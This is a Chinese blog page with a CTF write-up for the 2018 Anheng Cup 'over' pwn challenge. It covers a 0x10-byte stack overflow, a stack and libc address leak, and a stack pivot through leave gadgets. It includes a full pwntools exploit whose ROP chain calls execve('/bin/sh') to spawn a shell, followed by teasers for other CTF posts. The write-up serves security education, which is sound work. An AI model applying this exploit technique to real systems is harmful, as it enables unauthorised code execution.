2018 安恒杯 6 月 pwn - over

BugkuCTF-PWN题pwn2-overflow超详细讲解 解题思路 1)计算出get_shell_的地址偏移量 2)算出来之后就直接溢出到后门函数 知识点 x64函数调用规则 解题之前我们先学下linux x64的函数调用规则。 x64机器在调用某个函数前,比如int func(int a, int b, int c, int d, int e, int f, int g, int h),首先他会把前6个参数从左往右存入到寄存器rdi、rsi、rdx、rcx、r8、r9,其余参数存入到栈里,保存的顺序是从右往左入栈。比如abcdef会存入到寄存器里,然后一次入栈h 阅读详情

题目链接 找不到了

先用ida分析一下

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  while ( sub_400676() )
    ;
  return 0LL;
}

int sub_400676()
{
  char buf; // [rsp+0h] [rbp-50h]

  memset(&buf, 0, 0x50uLL);
  putchar(62);
  read(0, &buf, 0x60uLL);
  return puts(&buf);
}

checksec
[*] '/home/hu/\xe6\x96\x87\xe6\xa1\xa3/over/over.over'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

可以看出这个程序读入最大的长度为0x60,而栈长度为0x50,所以我们最多可以覆盖到rbp 和 ret addr,无法在ret后的地址构造rop chain,所以我们rop chain放在栈上 0x50,重点要控制住rsp,使得rsp能够转移到rbp-0x50处。

  1. 泄露栈地址
  2. 算出sub_400676_ebp - 0x50
  3. 找到gadget -->  leave == mov rsp , rbp ;pop rbp
  4. 调用两次leave,使得rsp跳到 sub_400676_ebp - 0x50 处
  5. 执行rop chain

exp如下


from pwn import *
context.binary = "./over.over"

def DEBUG(cmd):
    raw_input("DEBUG: ")
    gdb.attach(io, cmd)

io = process("./over.over")
elf = ELF("./over.over")
libc = elf.libc

io.sendafter(">", 'a' * 80)
stack = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - 0x70 #泄露rbp,同时算出stack=sub_400676_rbp- 0x50
success("stack -> {:#x}".format(stack)) 
# 之所以 -0x70 是因为 rbp里面存的是 main的rbp,stacke=sub_400676_rbp-0x50=(main_rbp-0x20)-0x50
'''
ROPgadget  --binary ./over.over  --only "|pop|ret"
Gadgets information
============================================================
0x0000000000400793 : pop rdi ; ret
'''
pop_rdi_ret=0x400793

# leave 0x4006be

io.sendafter(">", flat(['99999999', pop_rdi_ret, elf.got['puts'], elf.plt['puts'], 0x400676, (80 - 40) * '1', stack, 0x4006be]))#第一个元素可以随便填,因为再次调用sub_400676时会再次把rbp覆盖不影响rsp的方向
libc.address = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - libc.sym['puts']
success("libc.address -> {:#x}".format(libc.address))


'''
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret"
Gadgets information
============================================================
0x00000000001306d9 : pop rdx ; pop rsi ; ret
'''
pop_rdx_pop_rsi_ret=libc.address+0x00000000001306d9
success("pop_rdx_pop_rsi_ret->{:#x}".format(pop_rdx_pop_rsi_ret))

payload=flat(['88888888', pop_rdi_ret, next(libc.search("/bin/sh")),pop_rdx_pop_rsi_ret,p64(0),p64(0), libc.sym['execve'], (80 - 7*8 ) * '2', stack - 0x30, 0x4006be])
#执行到这一步的时0x30=sub_400676_rbp-rsp
io.sendafter(">", payload)

io.interactive()

 

Pwn-CTF 2018红帽杯redhat GameServer题目writeup 开始前的例行叨叨:学pwn萌新,欢迎交流赐教~先放一波题目:我传了github上 pwn2就是题目了。( 若有侵权,请博客留言立马删除)https://github.com/staticStr/ForCTF/blob/master/pwn2来看看这个程序是做什么用的功能很简单,输入名字,职业,就会问你是否要修改,填Y修改,写一个新的进去。ida打开分析一波,顺手把变量名能改就改了,分析看图吧。开始... 阅读详情

相关推荐

HGAME 2017 or 2018 PWN levels

这个算是做之前的复现吧,感谢Veritas501 WEEK1 1.flag server 拖进IDA看一下 流程倒着看,要有flag-----v8=1-----v5=v6-----s1=admin,我们可以把s1覆盖掉-----username长度不能大于63,不能等于0-----之后还要猜出随机数v6,看一下怎么覆盖 这些变量都在一起,美滋滋 exp from pwn...

qq_42192672的博客 1074

CTF-PWN学习-为缺少指导的同学而生

入门PWN不可能无痛,但尽量会减轻大家的痛苦,怎么说呢,就像博主在你们前面一步的位置,帮你们挡着一点风浪前进。

yuwoxinanA3的博客 2万+

安恒杯pwn1

别人让做的一个Pwn,比较详细,记录一下

2018 - 安恒杯 - babypie [stack partial overwrite]

明显的是缓冲区溢出呀,read函数可以多读 64位程序,开启了NX和PIE,且程序里有了system("/bin/sh") 目标:控制RIP到A3E函数即可~ 首先,要处理canary的问题~然后,覆盖返回地址~ partial overwrite:在开启了PIE后,无论高位地址如何变化,低位地址是不变的,意味着有概率“撞到”正确的地址 exp如下: #!/usr/bin/e...

ACdream 1537

安恒ctf pwn课件

安恒培训资料 栈溢出指的是程序向栈中某个局部变量中写入的字节数超过了这个变量本身所申 请的字节数,因而导致与其相邻的栈中的变量的值被改变。 Ø 程序能够向栈上写入数据。 Ø 写入的数据大小没有被良好地控制。 浙江金融系

CTF比赛中的常见题型

CTF比赛中的常见题型目录,给初学者提供学习方向。CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。

2018 6月安恒杯月赛

更一下比赛的 解析吧。安恒杯的 三题web,唔,平台关了所以,链接就 随缘了! 第一题 嗯,遇到就点吧,点击的时候页面不会跳转但是还是会有反应的,如果右键打开之后会有新的路径,后面有跟一个microsoft 的教程。那 这题就是一个 注入吧 但是常规注入并不能注入进去,无奈。Redis的注入也没有,于是看了解析之后我们就很自然的可以想到MongoDB注入,怎么说呢。只要想到他就能做出来,百度一...

weixin_40423072的博客 1942

2018-10月安恒逆向题目

2018年10月安恒月赛逆向题目。

2018-骇极杯

arm 第一次做arm,花了很多时间,希望整理的详细一点。 环境安装 首先需要安装qemu,和相应的依赖库 qemu sudo apt-get install qemu 依赖库 sudo apt-get install -y gcc-aarch64-linux-gun g++-aarch64-linux-gnu 合在一起安装不了的话就分开来安装 运行 qemu-aarch64 -g 1234 ...

Maxmalloc的博客 618

进阶数据结构——链式前向星

链式前向星是一种进阶的数据结构,主要用于图的存储。我希望大家先看这个视频(蓝色字体点进去) 不然你很难理解的。在图论中,图的存储方式主要有邻接矩阵和邻接表两种。邻接矩阵虽然建图简单方便,但占内存较大,节点数量稍微大点的题目就难以使用(适合稠密图);而邻接表虽然节省空间,但其指针形式难写易错,且vector形式的读取速度较慢,易导致大数据下的超时(TLE)。针对上述问题,链式前向星作为一种折中的方式应运而生。链式前向星本质上是一种静态链表,它将数据以链表形式连接在一起。

ycs66的博客 2137

antv x6 沿边图标循环动画实现

2.使用transition给边设置动画,利用complte方法实现循环动画。实现效果,如下图,边上存在两个图标,要求图标延边一直循环动画。1.注册一个自定义边,边上定义两个图标,并设置其初始位置。

lingliu0824的博客 3366

[BUUCTF]PWN——护网杯_2018_gettingstart

护网杯_2018_gettingstart 例行检查,64位程序,除了RELRO,其他全开 试运行一下,看看大概的情况 64位ida载入 当满足v5=0x7FFFFFFFFFFFFFFFLL并且v6=0.1的时候就能够获取shell,看一下栈布局 确定了偏移,可以在读入buf的时候修改v5和v6的值 这题没什么难度,v5的值可以直接表示,只是要注意一下0.1在内存中的表示。内存中存放的是数据的补码,浮点型数据的在内存中按照IEEE754 标准存储。有兴趣的师傅可以百度看看怎么算。这边在其他师傅的博

mcmuyanga的博客 956

基于eNSP的小型企业网络设计

在本次计算机网络课程设计中,围绕“小型企业网络搭建”这一主题,成功构建了一个高效、安全且易于管理的企业内部网络。通过本次课程设计,我们不仅掌握了小型企业网络搭建的关键技术和最佳实践,还培养了团队协作和问题解决的能力。本项目所构建的网络系统不仅满足了当前的业务需求,还具备良好的可扩展性和灵活性,为企业未来的数字化转型奠定了坚实的基础。

m0_67403143的博客 1442

CTFShow PWN入门---Kernel PWN 356-360 [持续更新]

Kernel PWN 357题解 本题与2018年强网杯的qwb2018-core题目完全相同,考察内核漏洞利用。 解题关键步骤: 通过/proc/show泄漏栈上的canary值 利用kallsyms获取内核关键函数地址(prepare_kernel_cred/commit_creds) 构造ROP链实现提权: 使用prepare_kernel_cred创建root凭证 调用commit_creds应用凭证 通过swapgs/iretq返回用户态获取root shell EXP特点: 结合了内核地址泄露与

saulgoodman的博客 626

Spring Boot 3.5.4 + LangChain4j实战:用Milvus搭建企业级RAG问答系统(附阿里百炼API配置)

本文详细介绍了如何利用Spring Boot 3.5.4、LangChain4j与Milvus构建企业级RAG问答系统。内容涵盖从架构设计、阿里百炼API安全配置、Milvus部署优化,到RAG检索、会话管理等核心实现,并提供了生产级API设计、监控集成及性能优化等实战经验,旨在帮助开发者打造高可用、可维护的Java AI应用。

weixin_29054399的博客 610

Python结合海康威视工业相机SDK实现高效图像采集与处理

本文详细介绍了如何使用Python结合海康威视工业相机SDK实现高效的图像采集与处理。内容涵盖从环境搭建、SDK核心模块理解,到完整的图像采集流程拆解,包括设备枚举、参数设置、主动取流以及关键的像素格式转换。同时,文章深入探讨了触发模式、参数控制等高级应用,并提供了性能优化建议和可复用的相机操作类封装,帮助开发者快速构建稳定的机器视觉应用。

weixin_29043895的博客 349

强网杯2024 [PWN]:chat_with_me 深度解析与漏洞映射

在 2024 年强网杯初赛中,“chat_with_me” 这一 PWN 类型题目极具挑战性。本题主要考察选手对堆漏洞的利用以及对内存信息的泄露和控制能力。涉及的漏洞类型为 CWE - 416(Use After Free),在 ATT&CK 框架中对应权限提升(T1068)技术。该题目虽未直接关联特定 CVE 漏洞,但其实战场景能很好地映射到真实红队攻击中对系统权限的夺取过程。通过对本题的深入分析,我们不仅能掌握相关漏洞原理和利用方法,还能将其应用到实际的网络安全攻防中。

Alfadi联盟 萧瑶的博客 1269

使用vite+react+ts+Ant Design开发后台管理项目(四)

本文将引导开发者从零基础开始,运用、react、react-router、react-redux、Ant Design、less、tailwindcss、axios等前沿技术栈,构建一个高效、响应式的后台管理系统。通过详细的步骤和实践指导,文章旨在为开发者揭示如何利用这些技术工具,从项目构思到最终实现的全过程,提供清晰的开发思路和实用的技术应用技巧。使用vite+react+ts+Ant Design开发后台管理项目(一)使用vite+react+ts+Ant Design开发后台管理项目(二)

lbking666666的专栏 2007

[2024领航杯] Pwn方向题解 babyheap

​ 当然这个比赛我没有参加,是江苏省的一个比赛,附件是XiDP师傅在比赛结束之后发给我的,最近事情有点多,当时搁置了一天,昨天下午想起来这个事情,才开始看题目,XiDP师傅说是2.35版本的libc,确实高版本libc的却棘手,我经验太浅了调试半天,最后让我们一起看一下这个题目。 ​

susu_xiaosu的博客 1457

matplotlib三维画图之观察博弈论混合策略下纳什均衡点

参考链接: 博弈论入门20讲之第16讲-猜谜游戏-散户如何赢庄家 游戏背景: 我的期望是: 你的期望是: 使用Python的matplotlib画图: import numpy as np import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D fig = plt.figure() ax = Axes3D(fig) X = np.linspace(0, 1, 100) Y = np.linspace(0, 1,

敲代码的小风 1258

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

2018护网杯pwn题目task_gettingStart_ktQeERc的writeup

下载后   本来想先用checksec 看看有啥保护 但是却发现执行不了(这里不太明白) 看到做出的人那么多  也就没有顾虑了 载入IDA   看到关键字符串  且有/bin/sh     双击进入    发现连续三个跳转之后   就是最终结果 直接F5看伪代码    看到read()之后    这不就是栈溢出嘛  覆盖v7 v8的数据达到条件即可获得shell 栈中顺序...

iqiqiya的博客 1568

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

2018年强网杯pwn题复现

不能像上一题一样用fastbin了,大体思路是,因为是partial relro,利用unlink修改malloc返回的数组指针为free_got,这样修改改数组时就是修改free_got。利用uaf把chunk进入fastbin中,构造三个单链表来写free@got然后getshell。free后没有给指针置空,edit也没有检查chunk是否free。free后没有给指针置空,edit也没有检查chunk是否free。程序没有输出,这是一个难点,所以直接写。

网络安全 456

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

BUUCTF pwn 安洵杯_2018_neko

查看保护 PIE和canary都没开 IDA打开,查看程序流程 先输入’y’或’Y’进入play函数 read存在栈溢出漏洞,cancary保护没开,可以直接溢出 溢出距离为0xd0 程序有后门 但这没有效果 那么可以先把puts函数的地址打印出来,求得libc的基地址,然后再求相应的‘/bin/sh’地址,system地址源程序有提供,第二次溢出时就可以获得shell 完整ex ...

stareforever的博客 2万+

如何构建Pwn2Own2018漏洞利用链:新手入门的6个关键阶段详解

Pwn2Own2018是一个针对macOS 10.13.3系统的漏洞利用链项目,通过Safari浏览器远程代码执行(RCE)、沙箱逃逸和内核权限提升(LPE)等技术,实现从浏览器到内核的完整攻击路径。本文将为新手详细解析构建这一漏洞利用链的6个关键阶段,帮助理解漏洞利用的基本原理和实现流程。 ## 准备工作:环境搭建与项目结构 在开始构建漏洞利用链之前,需要先搭建必要的开发环境并了解项目结构。

gitblog_00004的博客 766

强网杯2018 - nextrsa - Writeup

强网杯2018 - nextrsa - Writeup 原文地址:M4x@10.0.0.55 所有代码均已上传至我的github 俄罗斯套娃一样的rsa题目,基本把我见过的rsa套路出了一遍,值得记录一下 level 0 QWB_nextrsa [master●] python exp.py [+] Opening connection to 39.107.33.90 on port 9999...

weixin_30627341的博客 2万+
上一篇: 中山大学招新赛
下一篇: x86-64传参规则
Maxmalloc
博客等级 码龄8年 12粉丝 33原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值